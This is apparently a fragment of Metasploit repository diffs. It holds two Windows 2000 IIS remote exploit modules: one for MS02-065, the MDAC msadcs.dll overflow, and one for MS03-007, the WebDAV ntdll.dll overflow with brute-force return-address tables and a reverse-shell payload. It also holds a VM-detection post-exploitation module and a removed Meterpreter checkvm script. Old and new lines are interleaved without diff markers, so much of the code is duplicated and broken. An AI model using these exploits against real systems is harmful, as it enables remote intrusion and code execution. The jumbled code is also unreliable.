'Platform' => 'win',
'Arch' => [ARCH_X86],
'References' => [
['OSVDB', '14502'],
['BID', '6214'],
['CVE', '2002-1142'],
['MSB', 'MS02-065'],
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
},
'Targets' =>
[
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
'Targets' => [
# jmp eax ws2help.dll
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20 2002'
'DefaultTarget' => 0,
'DisclosureDate' => '2002-11-02',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
])
register_options([
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
])
end
def check
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH']),
'method' => 'GET',
})
if (res and res.code == 200)
print_status("Server responded with HTTP #{res.code} OK")
if (res.body =~ /Content-Type: application\/x-varg/)
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown('HTTP server error') if res.code == 500
return CheckCode::Safe('Access Forbidden') if res.code == 403
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
end
CheckCode::Safe
end
def exploit
sploit = rand_text_alphanumeric(136)
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
sploit << [target['Ret']].pack('V')
sploit << payload.encoded
data = 'Content-Type: ' + sploit
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
'headers' =>
{
'Content-Length' => data.length,
},
'method' => 'POST',
'data' => data,
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
'method' => 'POST',
'data' => "Content-Type: #{sploit}"
})
handler
end
end
@@ -9,37 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against any service pack.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2003-0109'],
[ 'OSVDB', '4467'],
[ 'BID', '7116'],
[ 'MSB', 'MS03-007']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
super(
update_info(
info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Brute Force', { } ],
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2003-0109'],
['OSVDB', '4467'],
['BID', '7116'],
['PACKETSTORM', '30939'],
['MSB', 'MS03-007']
],
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0))
'Privileged' => false,
'Payload' => {
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Targets' => [
[ 'Automatic Brute Force', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0
)
)
register_evasion_options(
[
@@ -48,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
# XXX - ugh, there has to be a better way to remove entries from an
# enum that overwriting the evalable enum option
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
], self.class
)
@@ -61,125 +72,222 @@ class MetasploitModule < Msf::Exploit::Remote
# back to 80 for automated exploitation
rport = datastore['RPORT'].to_i
if ( rport == 139 or rport == 445 )
rport = 80
if (rport == 139 || rport == 445)
datastore['RPORT'] = 80
end
true
end
def check
url = 'x' * 65535
xml =
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
return CheckCode::Safe('Connection failed') unless res
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
response = send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
'uri' => "/#{'x' * 65535}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
if (response and response.body =~ /Server Error\(exception/)
vprint_status("We've hit a server error (exception)")
return Exploit::CheckCode::Vulnerable
if response && response.body.to_s.include?('Server Error(exception')
return CheckCode::Vulnerable("We've hit a server error (exception)")
end
# Did the server stop acceping requests?
# Request-URI Too Long
if response && response.code == 414
return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
end
# Did the server stop accepting requests?
begin
send_request_raw({'uri' => '/'}, 5)
rescue
vprint_status("The server stopped accepting requests")
return Exploit::CheckCode::Vulnerable
send_request_raw({ 'uri' => '/' }, 5)
rescue StandardError
return CheckCode::Appears('The server stopped accepting requests') unless res
end
return Exploit::CheckCode::Safe
CheckCode::Safe
end
def exploit
# verify the service is running up front
send_request_raw({'uri' => '/'}, 5)
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
fail_with(Failure::Unreachable, 'Connection failed') unless res
# The targets in the most likely order they will work
targets =
[
# Almost Targetted :)
"\x4f\x4e", # =SP3
"\x41\x42", # ~SP0 ~SP2
"\x41\x43", # ~SP1, ~SP2
# Generic Bruteforce
"\x41\xc1",
"\x41\xc3",
"\x41\xc9",
"\x41\xca",
"\x41\xcb",
"\x41\xcc",
"\x41\xcd",
"\x41\xce",
"\x41\xcf",
"\x41\xd0",
# Common offsets
common_offsets = [
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
]
xml =
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
# Generic Bruteforce - Windows 2000 Professional
pro_offsets = [
"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
"\x41\xab", # Windows 2000 Professional (SP1 AR)
"\x41\xac", # Windows 2000 Professional (SP0 FI)
"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xaf",
"\x41\xb0",
"\x41\xb1", # Windows 2000 Professional (SP0 EN)
"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
"\x41\xbe", # Windows 2000 Professional (SP0 TR)
"\x41\xbf", # Windows 2000 Professional (SP0 FI)
]
# Generic Bruteforce - Windows 2000 Server
server_offsets = [
"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x4f\xc4", # Windows 2000 Server (SP2 EN)
"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
"\x4f\x40",
"\x4f\x41",
"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x4f\x44",
"\x4f\x45",
"\x4f\x46",
"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
"\x4f\x48",
"\x4f\x49",
"\x4f\x4a",
"\x4f\x4b",
"\x4f\x4c",
"\x4f\x4d",
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\x4f",
"\x41\x40",
"\x41\x41",
"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\x44",
"\x41\x45",
"\x41\x46",
"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
"\x41\x48", # Windows 2000 Server (SP1 SE)
"\x41\x49",
"\x41\x4a",
"\x41\x4b",
"\x41\x4c",
"\x41\x4d",
"\x41\x4e",
"\x41\x4f",
"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x41\xc4", # Windows 2000 Server (SP2 EN)
"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
]
if datastore['InvalidSearchRequest']
xml = rand_text(rand(1024) + 32)
xml = rand_text(32..1056)
else
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
end
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
# This decodes to "inc ecx"
url = 'A' * (65_516 - payload.encoded.length)
url << payload.encoded
url = 'A' * 65516
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
targets.each { |ret|
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
url[ 283, 2 ] = ret
offsets.each_with_index do |ret, index|
print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
url[283, 2] = ret
begin
send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
'uri' => "/#{url}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
handler
rescue => e
rescue StandardError => e
print_error("Attempt failed: #{e}")
end
1.upto(8) { |i|
select(nil,nil,nil,0.25)
return if self.session_created?
}
if !service_running?
print_error('Giving up, IIS must have completely crashed')
return
1.upto(8) do |_i|
select(nil, nil, nil, 0.25)
break if session_created?
end
}
break if session_created?
fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
end
end
# Try connecting to the server up to 20 times, with a two second gap
# This gives the server time to recover after a failed exploit attempt
def service_running?
print_status('Checking if IIS is back up after a failed attempt...')
1.upto(20) {|i|
begin
send_request_raw({'uri' => '/'}, 5)
rescue
print_error("Connection failed (#{i} of 20)...")
select(nil,nil,nil,2)
next
end
return true
}
return false
1.upto(20) do |i|
break if session_created?
return true if send_request_raw({ 'uri' => '/' }, 5)
print_error("Connection failed (#{i} of 20)...")
select(nil, nil, nil, 2)
end
false
end
end
+20 -31
View File
@@ -60,13 +60,14 @@ class MetasploitModule < Msf::Post
return true if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System', 'SystemBiosVersion') =~ /vrtual/i
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('VRTUAL')
%w[HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('VRTUAL')
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('VRTUAL')
return true if service_exists?('vmicexchange')
%w[vmicexchange vmicheartbeat vmicshutdown vmicvss].each do |service|
return true if service_exists?(service)
end
key_path = 'HKLM\HARDWARE\DESCRIPTION\System'
system_bios_version = registry_getvaldata(key_path, 'SystemBiosVersion')
@@ -100,7 +101,7 @@ class MetasploitModule < Msf::Post
end
def virtualpc?
%w[vpc-s3 vpcuhub msvmmouf].each do |service|
%w[vpc-s3 vpcbus vpcuhub msvmmouf].each do |service|
return true if service_exists?(service)
end
@@ -128,14 +129,10 @@ class MetasploitModule < Msf::Post
end
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('VBOX__')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('VBOX__')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('VBOX__')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('VBOX__')
end
key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0'
return true if registry_getvaldata(key_path, 'Identifier') =~ /vbox/i
@@ -159,14 +156,10 @@ class MetasploitModule < Msf::Post
end
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('Xen')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('Xen')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('Xen')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('Xen')
end
%w[xenevtchn xennet xennet6 xensvc xenvdb].each do |service|
return true if service_exists?(service)
@@ -182,14 +175,10 @@ class MetasploitModule < Msf::Post
key_path = 'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0'
return true if registry_getvaldata(key_path, 'ProcessorNameString') =~ /qemu/i
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('BOCHS_')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('BOCHS_')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('BOCHS_')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('BOCHS_')
end
false
end
-359
View File
@@ -1,359 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter script for detecting if target host is a Virtual Machine
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
# Version: 0.2.0
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine")
print_line("USAGE: run checkvm")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
}
# Function for detecting if it is a Hyper-V VM
def hypervchk(session)
begin
vm = false
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ)
sfmsvals = key.enum_key
if sfmsvals.include?("Hyper-V")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif sfmsvals.include?("VirtualMachine")
print_status("This is a Hyper-V Virtual Machine")
vm = true
end
key.close
rescue
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vmicheartbeat")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicvss")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicshutdown")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicexchange")
print_status("This is a Hyper-V Virtual Machine")
vm = true
end
rescue
end
end
return vm
end
# Function for checking if it is a VMware VM
def vmwarechk(session)
vm = false
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vmdebug")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("vmmouse")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("VMTools")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("VMMEMCTL")
print_status("This is a VMware Virtual Machine")
vm = true
end
key.close
rescue
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /vmware/
print_status("This is a VMware Virtual Machine")
vm = true
end
rescue
end
end
if not vm
vmwareprocs = [
"vmwareuser.exe",
"vmwaretray.exe"
]
vmwareprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a VMware Virtual Machine") if not vm
vm = true
end
end
end
end
key.close
return vm
end
# Function for checking if it is a Virtual PC VM
def checkvrtlpc(session)
vm = false
vpcprocs = [
"vmusrvc.exe",
"vmsrvc.exe"
]
vpcprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a VirtualPC Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vpcbus")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("vpc-s3")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("vpcuhub")
print_status("This is a VirtualPC Virtual Machine")
vm = true
elsif srvvals.include?("msvmmouf")
print_status("This is a VirtualPC Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def vboxchk(session)
vm = false
vboxprocs = [
"vboxservice.exe",
"vboxtray.exe"
]
vboxprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a Sun VirtualBox Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBOX__")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /vbox/
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System')
if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("VBoxMouse")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxGuest")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxService")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
elsif srvvals.include?("VBoxSF")
print_status("This is a Sun VirtualBox Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def xenchk(session)
vm = false
xenprocs = [
"xenservice.exe"
]
xenprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a Xen Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
